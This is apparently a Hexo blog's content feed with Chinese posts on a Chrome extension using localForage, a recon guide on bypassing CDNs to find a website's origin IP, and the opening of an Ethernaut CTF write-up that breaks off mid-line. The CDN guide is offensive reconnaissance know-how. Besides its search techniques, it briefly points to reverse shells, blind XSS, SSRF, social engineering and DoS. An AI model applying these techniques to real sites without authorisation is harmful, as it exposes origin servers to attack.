<th align="left">sessionStorage是个全局对象,它维护着在页面会话(page session)期间有效的存储空间。只要浏览器开着,页面会话周期就会一直持续。当页面重新载入(reload)或者被恢复(restores)时,页面会话也是一直存在的。每在新标签或者新窗口中打开一个新页面,都会初始化一个新的会话。</th>
</tr>
</thead>
<tbody><tr>
<td align="center">localStorage</td>
<td align="left">localStorage与sessionStorage相同,但应用了相同的规则,但它是持久性的。LocalStorage 在 2.5MB 到 10MB 之间(各家浏览器不同),而且不提供搜索功能,不能建立自定义的索引。</td>
</tr>
<tr>
<td align="center">IndexedDB</td>
<td align="left">通俗地说,IndexedDB 就是浏览器提供的本地数据库,它可以被网页脚本创建和操作。IndexedDB 允许储存大量数据,提供查找接口,还能建立索引。这些都是 LocalStorage 所不具备的。就数据库类型而言,IndexedDB 不属于关系型数据库(不支持 SQL 查询语句),更接近 NoSQL 数据库。</td>
</tr>
<tr>
<td align="center">WebSQL</td>
<td align="left">WebSQL是一个在浏览器客户端的结构关系数据库,这是浏览器内的本地RDBMS(关系型数据库系统)</td>
</tr>
<tr>
<td align="center">cookies</td>
<td align="left">用于保存登陆信息</td>
</tr>
</tbody></table>
<p>localStorage和sessionStorage都有着大小的限制,且存储的数据类型只能是键值对形式。</p>
<p><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/IndexedDB_API" target="_blank" rel="noopener">IndexedDB_API</a>中推荐8种使用IndexedDB的更方便的方式:</p>
<table>
<thead>
<tr>
<th><a href="https://localforage.github.io/localForage/" target="_blank" rel="noopener">localForage</a></th>
<th>一个简单名称的Polyfill:客户端数据存储的值语法,它在后台使用IndexedDB,但在不支持IndexedDB的浏览器中回退到WebSQL或localStorage。</th>
</tr>
</thead>
<tbody><tr>
<td><a href="http://www.dexie.org/" target="_blank" rel="noopener">Dexie.js</a></td>
<td>IndexedDB的包装器,通过简单的语法,可以更快地进行代码开发。</td>
</tr>
<tr>
<td><a href="https://github.com/erikolson186/zangodb" target="_blank" rel="noopener">ZangoDB</a></td>
<td>类似MongoDB的IndexedDB接口,支持MongoDB的大多数熟悉的过滤,投影,排序,更新和聚合功能。</td>
</tr>
<tr>
<td><a href="http://jsstore.net/" target="_blank" rel="noopener">JsStore</a></td>
<td>一个带有SQL语法的IndexedDB包装器。</td>
</tr>
<tr>
<td><a href="https://github.com/mWater/minimongo" target="_blank" rel="noopener">MiniMongo</a></td>
<td>由localstorage支持的客户端内存中的mongodb,通过http进行服务器同步。MeteorJS使用MiniMongo。</td>
</tr>
<tr>
<td><a href="https://pouchdb.com/" target="_blank" rel="noopener">PouchDB</a></td>
<td>使用IndexedDB在浏览器中实现CouchDB的客户端。</td>
</tr>
<tr>
<td><a href="https://www.npmjs.com/package/idb" target="_blank" rel="noopener">idb</a></td>
<td>一个微小的(〜1.15k)库,主要反映了IndexedDB的API,但小的改进,使一个很大的区别的可用性。</td>
</tr>
<tr>
<td><a href="https://www.npmjs.com/package/idb-keyval" target="_blank" rel="noopener">idb-keyval</a></td>
<td>使用IndexedDB实现的超简单小(~600B)基于Promise的键值存储。</td>
</tr>
</tbody></table>
<p>本次我采用的是localForage。</p>
<p>引入localforage.js文件文件后便可以利用localforage中定义的方法来进行indexedDB的使用了,而不需要去写复杂的语句。</p>
<p>插件中使用localforage很顺利,但在网页上使用出现了问题:提示localforage未定义。</p>
<p><img src="/2020/07/20/etherscan-tags/image-20200717112751028.png" alt="image-20200717112751028"></p>
<p>查阅资料后,在<a href="https://www.cnblogs.com/liuxianan/p/chrome-plugin-develop.html" target="_blank" rel="noopener">【干货】Chrome插件(扩展)开发全攻略</a>这篇文章中看到,文中提到content-script只能操作DOM,但DOM却不能调用它,也就是说DOM没办法直接使用插件内部的js文件,只有通过向页面注入代码后才能调用,注入代码如下所示:</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">// 向页面注入JS</span><br><span class="line">function injectCustomJs(jsPath)</span><br><span class="line">{</span><br><span class="line"> jsPath = jsPath || 'js/inject.js';</span><br><span class="line"> var temp = document.createElement('script');</span><br><span class="line"> temp.setAttribute('type', 'text/javascript');</span><br><span class="line"> // 获得的地址类似:chrome-extension://ihcokhadfjfchaeagdoclpnjdiokfakg/js/inject.js</span><br><span class="line"> temp.src = chrome.extension.getURL(jsPath);</span><br><span class="line"> temp.onload = function()</span><br><span class="line"> {</span><br><span class="line"> // 放在页面不好看,执行完后移除掉</span><br><span class="line"> this.parentNode.removeChild(this);</span><br><span class="line"> };</span><br><span class="line"> document.head.appendChild(temp);</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>此外,还需要在配置文件中添加如下配置,不然会报 Resources must be listed in the web_accessible_resources manifest key in order to be loaded by pages outside the extension.</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">// 普通页面能够直接访问的插件资源列表,如果不设置是无法直接访问的</span><br><span class="line">"web_accessible_resources": ["js/inject.js"],</span><br></pre></td></tr></table></figure>
<p>向页面注入localforage.js后发现,能够使用localforage了:</p>
<p><img src="/2020/07/20/etherscan-tags/image-20200717113439764.png" alt="image-20200717113439764"></p>
<p>localforage的使用可以参考这个网站:<a href="http://localforage.docschina.org/" target="_blank" rel="noopener">http://localforage.docschina.org/</a></p>
<p>localforage简单测试:</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">window.onload=function(){</span><br><span class="line"> localforage.setItem('key', 'value').then(</span><br><span class="line"> localforage.getItem('key', function(err, value) {</span><br><span class="line"> // 当离线仓库中的值被载入时,此处代码运行</span><br><span class="line"> console.log(value);</span><br><span class="line"> })</span><br><span class="line"> )</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>导入插件后,刷新网页可以发现,成功插入了键值对key:value。</p>
<p><img src="/2020/07/20/etherscan-tags/image-20200717114624467.png" alt="image-20200717114624467"></p>
<p><img src="/2020/07/20/etherscan-tags/image-20200717114611209.png" alt="image-20200717114611209"></p>
<hr>
<p>此外,如果想要打包扩展程序后生成crx文件后在其他浏览器中导入,如果没有在chrome商店中上传并通过审核,会遇到如下问题:</p>
<p><img src="/2020/07/20/etherscan-tags/image-20200717113817539.png" alt="image-20200717113817539"></p>
<p>解决方案有两个:</p>
<p>第一个当然是花费5刀注册为chrome插件开发者,然后上传自己的插件,不过这种方式耗时很长,短期可以选择另一种方式;</p>
<p>第二个是修改本地组策略,在<a href="https://cloud.tencent.com/developer/article/1506583" target="_blank" rel="noopener">已解决!该扩展程序未列在 Chrome 网上应用店中,并可能是在您不知情的情况下添加的</a>这篇文章中介绍很详细。</p>
<hr>
<h2 id="最后"><a href="#最后" class="headerlink" title="最后"></a>最后</h2><p>完结撒花<em>★,°</em>:.☆( ̄▽ ̄)/$:<em>.°★</em> 。,虽然本次尝试制作的插件功能比较简单,但却对我来说有实际的价值,大佬们不喜勿喷。</p>
<p>PS:经过了近一年的审核,插件上架了啊哈哈哈哈~</p>
<p>chrome插件商店地址:<a href="https://chrome.google.com/webstore/detail/custom-address-tag/ibjelilolcannonagncmaihfpobfmohd" target="_blank" rel="noopener">Custom Address Tag</a></p>
<p><img src="/2020/07/20/etherscan-tags/image-20220522232205825.png" alt="image-20220522232205825"></p>
]]></content>
<categories>
<category>区块链</category>
</categories>
<tags>
<tag>Etherscan</tag>
<tag>Chrome插件</tag>
</tags>
</entry>
<entry>
<title>文章加密测试</title>
<url>/2019/11/20/encrypt/</url>
<content><![CDATA[<div id="hexo-blog-encrypt" data-wpm="抱歉, 这个密码看着不太对, 请再试试." data-whm="抱歉, 这个文章不能被校验, 不过您还是能看看解密后的内容."><div class="hbe-input-container"><input type="password" id="hbePass" placeholder="您好, 这里需要密码." /><label>您好, 这里需要密码.</label><div class="bottom-line"></div></div><script id="hbeData" type="hbeData" data-hmacdigest="aabec13c2e42ab89c71cf7ecdc3aec02c42f8fb42e330481de9199f3f2b8efa5">7890088215a2ec29e6e45343d89f8df8ea5e12f74b152bca6e0ad1aee7f27e065598906e2fa48225290a12a275c87fb2d384f2509262187980963c2170f999b739215d9501d1117c81e850fe1df2b3a2335d9849c42cca572ca86d9b39c81408053b9036d69cca39d2ed15c008d45c52e781f3dfe4886b840ad76204bcea5e62</script></div><script src="/lib/blog-encrypt.js"></script><link href="/css/blog-encrypt.css" rel="stylesheet" type="text/css">]]></content>
<categories>
<category>web渗透</category>
</categories>
<tags>
<tag>资源</tag>
</tags>
</entry>
<entry>
<title>信息收集——绕过CDN寻找真实IP</title>
<url>/2019/11/19/bypass-cdn/</url>
<content><![CDATA[<h1 id="信息收集——绕过CDN寻找真实IP"><a href="#信息收集——绕过CDN寻找真实IP" class="headerlink" title="信息收集——绕过CDN寻找真实IP"></a>信息收集——绕过CDN寻找真实IP</h1><p> 最近工作使用了很多CDN查询的网站工具之类的,为了以防以后忘记了,小小的总 (ban) 结 (yun) 一下。</p>
<p> 以下是参考到的文章,感谢大佬们。</p>
<p> 参考文章:</p>
<p> <a href="https://www.cnblogs.com/qiudabai/p/9763739.html" target="_blank" rel="noopener">https://www.cnblogs.com/qiudabai/p/9763739.html</a> </p>
<p> <a href="http://blog.leanote.com/post/snowming/CDN" target="_blank" rel="noopener">http://blog.leanote.com/post/snowming/CDN</a> </p>
<p> <a href="https://www.lsablog.com/networksec/penetration/some-ways-to-check-cdn-and-find-real-ip/" target="_blank" rel="noopener">https://www.lsablog.com/networksec/penetration/some-ways-to-check-cdn-and-find-real-ip/</a> </p>
<p> <a href="https://www.lstazl.com/cdn检测与绕过/" target="_blank" rel="noopener">https://www.lstazl.com/cdn%E6%A3%80%E6%B5%8B%E4%B8%8E%E7%BB%95%E8%BF%87/</a> </p>
<p> 首先我们要了解什么是CDN:</p>
<blockquote>
<p>CDN 即 <code>content delivery network</code>,内容交付网络,通过在网络各处放置节点服务器所构成的在现有的互联网基础之上的一层智能虚拟网络,CDN系统能够实时地根据网络流量和各节点的连接、负载状况以及到用户的距离和响应时间等综合信息将用户的请求重新导向离用户最近的服务节点上。</p>
<p>开了CDN 之后,会智能匹配当地最近的节点来的,所以请求的实际 IP 不同。</p>
</blockquote>
<p> 对用户来说CDN的存在能够使你访问网站的响应速度更快,用户体验更好。</p>
<p> 对网站所有者来说,CDN的存在减轻了服务器的压力,同时也将真实服务器IP隐藏了起来,降低被黑客入侵的风险。</p>
<h2 id="验证是否存在CDN"><a href="#验证是否存在CDN" class="headerlink" title="验证是否存在CDN"></a>验证是否存在CDN</h2><h3 id="nslookup"><a href="#nslookup" class="headerlink" title="nslookup"></a>nslookup</h3><p> 使用nslookup查询,如果查询结果是多个IP,则很大可能使用了CDN,如果返回一个IP也不一定是真实IP。</p>
<p> 下面这种就是使用了CDN的:</p>
<p><img src="/2019/11/19/bypass-cdn/img1.png" alt></p>
<p> 下面这种是没有使用CDN的:</p>
<p><img src="/2019/11/19/bypass-cdn/img2.png" alt></p>
<h3 id="多地ping"><a href="#多地ping" class="headerlink" title="多地ping"></a>多地ping</h3><p> 使用各种多地 ping 的服务,查看返回的IP 地址是否唯一,如果返回的IP不是唯一的,那么很有可能使用了CDN。 </p>
<p>多地 Ping 网站有:<br><a href="http://ping.chinaz.com/" target="_blank" rel="noopener">http://ping.chinaz.com/</a><br><a href="http://ping.aizhan.com/" target="_blank" rel="noopener">http://ping.aizhan.com/</a><br><a href="https://www.17ce.com/" target="_blank" rel="noopener">https://www.17ce.com/</a><br><a href="https://wepcc.com/" target="_blank" rel="noopener">https://wepcc.com/</a></p>
<p><img src="/2019/11/19/bypass-cdn/img3.png" alt></p>
<p><img src="/2019/11/19/bypass-cdn/img4.png" alt></p>
<p><img src="/2019/11/19/bypass-cdn/img5.png" alt></p>
<p><img src="/2019/11/19/bypass-cdn/img6.png" alt></p>
<h3 id="响应头"><a href="#响应头" class="headerlink" title="响应头"></a>响应头</h3><p> <a href="http://www.12306.cn的响应头" target="_blank" rel="noopener">www.12306.cn的响应头</a></p>
<blockquote>
<p>Accept-Ranges: bytes<br>null: HTTP/1.1 200 OK<br>X-Cache: HIT from cache.51cdn.com<br>X-Via: 1.1 zib232:4 (Cdn Cache Server V2.0), 1.1 xz115:6 (Cdn Cache Server V2.0)<br>Connection: keep-alive<br>Last-Modified: Fri, 24 Oct 2014 09:24:58 GMT<br>Content-Length: 1480<br>Age: 22852<br>Date: Sat, 14 Oct 2017 04:22:44 GMT<br>X-Powered-By: Servlet/2.5 JSP/2.1<br>Content-Type: text/html</p>
</blockquote>
<p>从响应头字段可以看出cdn相关信息。 </p>
<h3 id="在线分析网站"><a href="#在线分析网站" class="headerlink" title="在线分析网站"></a>在线分析网站</h3><p><a href="https://builtwith.com/" target="_blank" rel="noopener">https://builtwith.com</a><br><a href="https://www.cdnplanet.com/tools/cdnfinder/" target="_blank" rel="noopener">https://www.cdnplanet.com/tools/cdnfinder/</a> </p>
<p><img src="/2019/11/19/bypass-cdn/img7.png" alt></p>
<p><img src="/2019/11/19/bypass-cdn/img8.png" alt></p>
<h3 id="dig"><a href="#dig" class="headerlink" title="dig"></a>dig</h3><p> 通过dig命令查看DNS解析记录, 一般有的 CNAME 的大多数是 CDN。 </p>
<p><img src="/2019/11/19/bypass-cdn/img9.png" alt></p>
<h3 id="CDN厂商ASN号和CDN段列表"><a href="#CDN厂商ASN号和CDN段列表" class="headerlink" title="CDN厂商ASN号和CDN段列表"></a>CDN厂商ASN号和CDN段列表</h3><p> 在这篇<a href="http://blog.leanote.com/post/snowming/CDN" target="_blank" rel="noopener">文章</a>中 ,提到了一中域名批量CDN检测的方式,使用python脚本来进行扫描,脚本来源于 <a href="https://github.com/al0ne/Vxscan" target="_blank" rel="noopener">vxscan</a>(Author: al0ne) 。</p>
<blockquote>
<p> 这个脚本的原理是利用 ASN。ASN 是自治系统号,相同组织的 ASN 是一样的,所以一个 CDN 厂商的 IP 段可能都在一个 ASN 里。</p>
<p> 判断逻辑如下:</p>
<ol>
<li>解析域名,获取解析之后的 IP;</li>
<li>判断此 IP 是否命中国内外常见 CDN 段,如果命中,说明有 CDN;</li>
<li>对此 IP 查询其对应的 ASN 号(通过 <code>response = reader.asn(host)</code> 这一句代码)。如果获取的 ASN 号命中了上面的国内外常见 CDN 厂商的 ASN 号,说明有 CDN;</li>
<li>如果通过这两次判断都没有命中,那么极有可能说明是真实 IP。</li>
</ol>
</blockquote>
<h2 id="绕过-CDN-查找网站真实-IP"><a href="#绕过-CDN-查找网站真实-IP" class="headerlink" title="绕过 CDN 查找网站真实 IP"></a>绕过 CDN 查找网站真实 IP</h2><h3 id="nslookup-1"><a href="#nslookup-1" class="headerlink" title="nslookup"></a>nslookup</h3><p> 使用国外冷门DNS进行域名解析,可能解析到真实IP。</p>
<h3 id="查询历史DNS记录"><a href="#查询历史DNS记录" class="headerlink" title="查询历史DNS记录"></a>查询历史DNS记录</h3><p> 查看 IP 与 域名绑定的历史记录,可能会存在使用 CDN 前的记录,相关查询网站有:</p>
<p><a href="https://dnsdb.io/zh-cn/" target="_blank" rel="noopener"> DNS查询</a><br><a href="https://x.threatbook.cn/" target="_blank" rel="noopener"> 微步在线</a><br><a href="http://toolbar.netcraft.com/site_report?url=" target="_blank" rel="noopener"> 在线域名信息查询</a><br><a href="http://viewdns.info/" target="_blank" rel="noopener"> DNS、IP等查询</a><br><a href="https://tools.ipip.net/cdn.php" target="_blank" rel="noopener"> CDN查询IP</a></p>
<p> SecurityTrails</p>
<p> 利用<a href="https://securitytrails.com/" target="_blank" rel="noopener">SecurityTrails</a>平台,攻击者就可以精准的找到真实原始IP。他们只需在搜索字段中输入网站域名,然后按Enter键即可,这时“历史数据”就可以在左侧的菜单中找到。</p>
<p><img src="/2019/11/19/bypass-cdn/img11.png" alt></p>
<p> 除了过去的DNS记录,即使是当前的记录也可能泄漏原始服务器IP。例如,MX记录是一种常见的查找IP的方式。如果网站在与web相同的服务器和IP上托管自己的邮件服务器,那么原始服务器IP将在MX记录中。</p>
<h3 id="查询子域名"><a href="#查询子域名" class="headerlink" title="查询子域名"></a>查询子域名</h3><p> 很多站长可能只会对主站或者流量大的子站点做了 CDN,很多在同一台服务器或者同一个C段内的其他子站点就没有做CDN,此时就可以通过查询子域名对应的 IP 来辅助查找网站的真实IP。</p>
<p> 修改host绑定到目标域名,能访问则目标域名和其子域名在同服务器,若不在可尝试c段。 </p>
<p> 常用的子域名查找的方法和工具:</p>
<ol>
<li><p>一个大佬博客的工具:<a href="https://phpinfo.me/domain/" target="_blank" rel="noopener">https://phpinfo.me/domain/</a> </p>
<p><img src="/2019/11/19/bypass-cdn/img13.png" alt></p>
</li>
<li><p>微步在线(<a href="https://x.threatbook.cn/" target="_blank" rel="noopener">https://x.threatbook.cn/</a>)</p>
</li>
</ol>
<p> 输入要查找的域名(如baidu.com),点击子域名选项就可以查找它的子域名了,但是免费用户每月只有5次免费查询机会。如图:</p>
<p><img src="/2019/11/19/bypass-cdn/img12.png" alt="img"></p>
<ol start="3">
<li>Dnsdb查询法。(<a href="https://dnsdb.io/zh-cn/" target="_blank" rel="noopener">https://dnsdb.io/zh-cn/</a>)</li>
</ol>
<p> 只需输入baidu.com type:A就能收集百度的子域名和ip了。如图:<br><img src="/2019/11/19/bypass-cdn/img14.png" alt="img"></p>
<ol start="4">
<li><p>Google 搜索</p>
<p>Google site:baidu.com -www 就能查看除www外的子域名,如图:</p>
</li>
</ol>
<p><img src="/2019/11/19/bypass-cdn/img15.png" alt="img"></p>
<ol start="5">
<li><p>各种子域名扫描器</p>
<p><a href="https://github.com/euphrat1ca/LayerDomainFinder" target="_blank" rel="noopener">子域名挖掘机</a></p>
<p>子域名挖掘机仅需输入域名即可基于字典挖掘它的子域名,如图:</p>
</li>
</ol>
<p><img src="/2019/11/19/bypass-cdn/img16.png" alt="img"></p>
<p> <a href="https://github.com/lijiejie/subDomainsBrute" target="_blank" rel="noopener">subdomainbrute</a></p>
<p> Subdomainbrute以windows为例,打开cmd进入它所在的目录输入 </p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">Python subdomainbrute.py baidu.com --full</span><br></pre></td></tr></table></figure>
<p> 即可收集百度的子域名,如图:</p>
<p><img src="/2019/11/19/bypass-cdn/img17.png" alt="img"></p>
<h3 id="网络空间引擎搜索法"><a href="#网络空间引擎搜索法" class="headerlink" title="网络空间引擎搜索法"></a>网络空间引擎搜索法</h3><ol>
<li><a href="https://www.zoomeye.org/" target="_blank" rel="noopener">钟馗之眼(Zoomeye)</a></li>
</ol>
<p><img src="/2019/11/19/bypass-cdn/img18.png" alt></p>
<p> zoomeye 用户手册: <a href="https://www.zoomeye.org/doc?channel=user" target="_blank" rel="noopener">https://www.zoomeye.org/doc?channel=user</a> </p>
<ol start="2">
<li><a href="https://fofa.so/" target="_blank" rel="noopener">Fofa</a></li>
</ol>
<p><img src="/2019/11/19/bypass-cdn/img19.png" alt></p>
<p> 查询语法在搜索页面即可看到。</p>
<ol start="3">
<li><a href="https://www.shodan.io/" target="_blank" rel="noopener">Shodan</a></li>
</ol>
<p> 搜索语法: <a href="https://help.shodan.io/the-basics/search-query-fundamentals" target="_blank" rel="noopener">https://help.shodan.io/the-basics/search-query-fundamentals</a> </p>
<p> 通过这些网络空间搜索引擎, 网站的title关键字或者网站的body特征就可以找出收录的有这些关键字的ip域名,很多时候能获取网站的真实ip </p>
<h3 id="利用SSL证书寻找真实原始IP"><a href="#利用SSL证书寻找真实原始IP" class="headerlink" title="利用SSL证书寻找真实原始IP"></a>利用SSL证书寻找真实原始IP</h3><p> 转自 <a href="https://www.cnblogs.com/qiudabai/p/9763739.html" target="_blank" rel="noopener">https://www.cnblogs.com/qiudabai/p/9763739.html</a> </p>
<blockquote>
<p>使用给定的域名</p>
<p>假如你在xyz123boot.com上托管了一个服务,原始服务器IP是136.23.63.44。 而CloudFlare则会为你提供DDoS保护,Web应用程序防火墙和其他一些安全服务,以保护你的服务免受攻击。为此,你的Web服务器就必须支持SSL并具有证书,此时CloudFlare与你的服务器之间的通信,就像你和CloudFlare之间的通信一样,会被加密(即没有灵活的SSL存在)。这看起来很安全,但问题是,当你在端443(<a href="https://136.23.63.44:443)上直接连接到IP时,SSL证书就会被暴露。" target="_blank" rel="noopener">https://136.23.63.44:443)上直接连接到IP时,SSL证书就会被暴露。</a></p>
<p>此时,如果攻击者扫描0.0.0.0/0,即整个互联网,他们就可以在端口443上获取在xyz123boot.com上的有效证书,进而获取提供给你的Web服务器IP。</p>
<p>目前Censys工具就能实现对整个互联网的扫描,Censys是一款用以搜索联网设备信息的新型搜索引擎,安全专家可以使用它来评估他们实现方案的安全性,而黑客则可以使用它作为前期侦查攻击目标、收集目标信息的强大利器。Censys搜索引擎能够扫描整个互联网,Censys每天都会扫描IPv4地址空间,以搜索所有联网设备并收集相关的信息,并返回一份有关资源(如设备、网站和证书)配置和部署信息的总体报告。</p>
<p>而攻击者唯一需要做的就是把上面用文字描述的搜索词翻译成实际的搜索查询参数。</p>
<p>xyz123boot.com证书的搜索查询参数为:parsed.names:xyz123boot.com</p>
<p>只显示有效证书的查询参数为:tags.raw:trusted</p>
<p>攻击者可以在Censys上实现多个参数的组合,这可以通过使用简单的布尔逻辑来完成。</p>
<p>组合后的搜索参数为:parsed.names: xyz123boot.com and tags.raw: trusted</p>
<p><img src="/2019/11/19/bypass-cdn/img20.png" alt="img"></p>
<p>Censys将向你显示符合上述搜索条件的所有标准证书,以上这些证书是在扫描中找到的。</p>
<p>要逐个查看这些搜索结果,攻击者可以通过单击右侧的“Explore”,打开包含多个工具的下拉菜单。What’s using this certificate? > IPv4 Hosts</p>
<p><img src="/2019/11/19/bypass-cdn/img21.png" alt="img"></p>
<p>此时,攻击者将看到一个使用特定证书的IPv4主机列表,而真实原始 IP就藏在其中。</p>
<p><img src="/2019/11/19/bypass-cdn/img22.png" alt="img"></p>
<p>你可以通过导航到端口443上的IP来验证,看它是否重定向到xyz123boot.com?或它是否直接在IP上显示网站?</p>
<p>使用给定的SSL证书</p>
<p>如果你是执法部门的人员,想要找出一个隐藏在cheesecp5vaogohv.onion下的儿童色情网站。做好的办法,就是找到其原始IP,这样你就可以追踪到其托管的服务器,甚至查到背后的运营商以及金融线索。</p>
<p>隐藏服务具有SSL证书,要查找它使用的IPv4主机,只需将”SHA1 fingerprint”(签名证书的sha1值)粘贴到Censys IPv4主机搜索中,即可找到证书,使用此方法可以轻松找到配置错误的Web服务器。</p>
</blockquote>
<h3 id><a href="#" class="headerlink" title></a></h3><h3 id="HTTP标头寻找真实原始IP"><a href="#HTTP标头寻找真实原始IP" class="headerlink" title="HTTP标头寻找真实原始IP"></a>HTTP标头寻找真实原始IP</h3><blockquote>
<p>借助SecurityTrails这样的平台,任何人都可以在茫茫的大数据搜索到自己的目标,甚至可以通过比较HTTP标头来查找到原始服务器。</p>
<p>特别是当用户拥有一个非常特别的服务器名称与软件名称时,攻击者找到你就变得更容易。</p>
<p>如果要搜索的数据相当多,如上所述,攻击者可以在Censys上组合搜索参数。假设你正在与1500个Web服务器共享你的服务器HTTP标头,这些服务器都发送的是相同的标头参数和值的组合。而且你还使用新的PHP框架发送唯一的HTTP标头(例如:X-Generated-Via:XYZ框架),目前约有400名网站管理员使用了该框架。而最终由三个服务器组成的交集,只需手动操作就可以找到了IP,整个过程只需要几秒钟。</p>
<p>例如,Censys上用于匹配服务器标头的搜索参数是80.http.get.headers.server :,查找由CloudFlare提供服务的网站的参数如下:</p>
<p>80.http.get.headers.server:cloudflare</p>
<h3 id="-1"><a href="#-1" class="headerlink" title></a><img src="/2019/11/19/bypass-cdn/img25.png" alt="img"></h3></blockquote>
<h3 id="利用网站返回的内容寻找真实原始IP"><a href="#利用网站返回的内容寻找真实原始IP" class="headerlink" title="利用网站返回的内容寻找真实原始IP"></a>利用网站返回的内容寻找真实原始IP</h3><blockquote>
<p>如果原始服务器IP也返回了网站的内容,那么可以在网上搜索大量的相关数据。</p>
<p>浏览网站源代码,寻找独特的代码片段。在JavaScript中使用具有访问或标识符参数的第三方服务(例如Google Analytics,reCAPTCHA)是攻击者经常使用的方法。</p>
<p>以下是从HackTheBox网站获取的Google Analytics跟踪代码示例:</p>
<p>ga(’create’,’UA-93577176-1’,’auto’);<br>可以使用80.http.get.body:参数通过body/source过滤Censys数据,不幸的是,正常的搜索字段有局限性,但你可以在Censys请求研究访问权限,该权限允许你通过Google BigQuery进行更强大的查询。</p>
<p>Shodan是一种类似于Censys的服务,也提供了http.html搜索参数。</p>
<p>搜索示例:<a href="https://www.shodan.io/search?query=http.html%3AUA-32023260-1" target="_blank" rel="noopener">https://www.shodan.io/search?query=http.html%3AUA-32023260-1</a></p>
<p><img src="/2019/11/19/bypass-cdn/img26.png" alt="img"></p>
</blockquote>
<h3 id="网站漏洞查找"><a href="#网站漏洞查找" class="headerlink" title="网站漏洞查找"></a>网站漏洞查找</h3><ol>
<li>目标敏感文件泄露,例如:phpinfo之类的探针、GitHub信息泄露等。</li>
<li>XSS盲打,命令执行反弹shell,SSRF等。</li>
<li>无论是用社工还是其他手段,拿到了目标网站管理员在CDN的账号,从而在从CDN的配置中找到网站的真实IP。</li>
</ol>
<h3 id="-2"><a href="#-2" class="headerlink" title></a></h3><h3 id="网站邮件订阅查找"><a href="#网站邮件订阅查找" class="headerlink" title="网站邮件订阅查找"></a>网站邮件订阅查找</h3><p> RSS邮件订阅,很多网站都自带 sendmail,会发邮件给我们,此时查看邮件源码里面就会包含服务器的真实 IP 了。</p>
<p> 也可让服务器发送一些非HTML的数据,比如让服务器发送邮件给你,查看邮件原文即可获得SMTP服务器的真实IP。</p>
<p> 注册邮件<br> 密码重置邮件<br> 广告推送邮件</p>
<p> 如下图,可以通过显示邮件原文,在原文中可能会有目标站点的IP。<img src="/2019/11/19/bypass-cdn/img23.png" alt></p>
<p><img src="/2019/11/19/bypass-cdn/img24.png" alt></p>
<h3 id="用-Zmap-扫全网"><a href="#用-Zmap-扫全网" class="headerlink" title="用 Zmap 扫全网"></a>用 Zmap 扫全网</h3><blockquote>
<p> 需要找 xiaix.me 网站的真实 IP,我们首先从 apnic 获取 IP 段,然后使用 Zmap 的 banner-grab 扫描出来 80 端口开放的主机进行 banner 抓取,最后在 http-req 中的 Host 写 xiaix.me。</p>
</blockquote>
<h3 id="-3"><a href="#-3" class="headerlink" title></a></h3><h3 id="F5-LTM解码法"><a href="#F5-LTM解码法" class="headerlink" title="F5 LTM解码法"></a>F5 LTM解码法</h3><blockquote>
<p> 当服务器使用F5 LTM做负载均衡时,通过对set-cookie关键字的解码真实ip也可被获取,例如:Set-Cookie: BIGipServerpool_8.29_8030=487098378.24095.0000,先把第一小节的十进制数即487098378取出来,然后将其转为十六进制数1d08880a,接着从后至前,以此取四位数出来,也就是0a.88.08.1d,最后依次把他们转为十进制数10.136.8.29,也就是最后的真实ip。</p>
</blockquote>
<h3 id="DOS"><a href="#DOS" class="headerlink" title="DOS"></a>DOS</h3><p> 打光cdn流量,回溯真实ip。 这种不能轻易尝试,造成严重后果就不好了。</p>
<h3 id="针对CloudFlare"><a href="#针对CloudFlare" class="headerlink" title="针对CloudFlare"></a>针对CloudFlare</h3><p> 如果目标站点使用的是cloudflare的CDN,可以去<a href="http://www.crimeflare.org:82/cfs.html#box" target="_blank" rel="noopener">crimeflare</a> 碰碰运气,说不定就会又意外的发现哦。</p>
<h2 id="验证真实IP"><a href="#验证真实IP" class="headerlink" title="验证真实IP"></a>验证真实IP</h2><p> 找到真实 IP 后 先访问 IP 看看和原站是否一样。 如果不能直接访问,可能做了IP访问限制,可以通过修改hosts再访问网站,测试是否成功。 </p>
]]></content>
<categories>
<category>web渗透</category>
</categories>
<tags>
<tag>安全</tag>
<tag>信息收集</tag>
</tags>
</entry>
<entry>
<title>Zeppelin Ethernaut WriteUp</title>
<url>/2019/11/09/Ethernaut%20WriteUp/</url>
<content><![CDATA[<h1 id="Zeppelin-Ethernaut-WriteUp"><a href="#Zeppelin-Ethernaut-WriteUp" class="headerlink" title="Zeppelin-Ethernaut-WriteUp"></a><a href="https://ethernaut.openzeppelin.com/" target="_blank" rel="noopener">Zeppelin-Ethernaut</a>-WriteUp</h1><p>参考文章:感谢大佬 <a href="https://www.jianshu.com/u/2631d3e59e33" target="_blank" rel="noopener">xuing</a></p>
<p><a href="https://www.jianshu.com/p/161d554a591c" target="_blank" rel="noopener">Ethernaut WriteUp 更新到22题 Shop</a></p>
<p>本文单纯记录下自己的学(mo)习(yu)过程。</p>
<h2 id="Hello-Ethernaut"><a href="#Hello-Ethernaut" class="headerlink" title="Hello Ethernaut"></a>Hello Ethernaut</h2><p>第一关很简单,首先是教你如何去使用<a href="https://metamask.io/" target="_blank" rel="noopener">MetaMask浏览器扩展程序</a>。</p>
<p>使用基础命令查看信息:</p>
<ul>
<li><p>player :查看自己的地址。</p>
</li>
<li><p>getBalance(player) :查看当前的以太币余额。</p>
</li>
<li><p>contract.abi() :查看合约接口,即可以调用的函数。</p>
</li>
<li><p>help() :查看控制台中其他可用命令。</p>
</li>
</ul>
<p>解题:</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">contract.info()</span><br><span class="line">// "You will find what you need in info1()."</span><br><span class="line">contract.info1()</span><br><span class="line">// "Try info2(), but with "hello" as a parameter."</span><br><span class="line">contract.info2('hello')</span><br><span class="line">// "The property infoNum holds the number of the next info method to call."</span><br><span class="line">contract.infoNum()</span><br><span class="line">// 42</span><br><span class="line">contract.info42()</span><br><span class="line">// "theMethodName is the name of the next method."</span><br><span class="line">contract.theMethodName()</span><br><span class="line">// "The method name is method7123949."</span><br><span class="line">contract.method7123949()</span><br><span class="line">// "If you know the password, submit it to authenticate()."</span><br><span class="line">contract.abi</span><br><span class="line">//查看合约接口,寻找password,发现存在一个名为password的函数</span><br><span class="line">contract.password()</span><br><span class="line">// "ethernaut0"</span><br><span 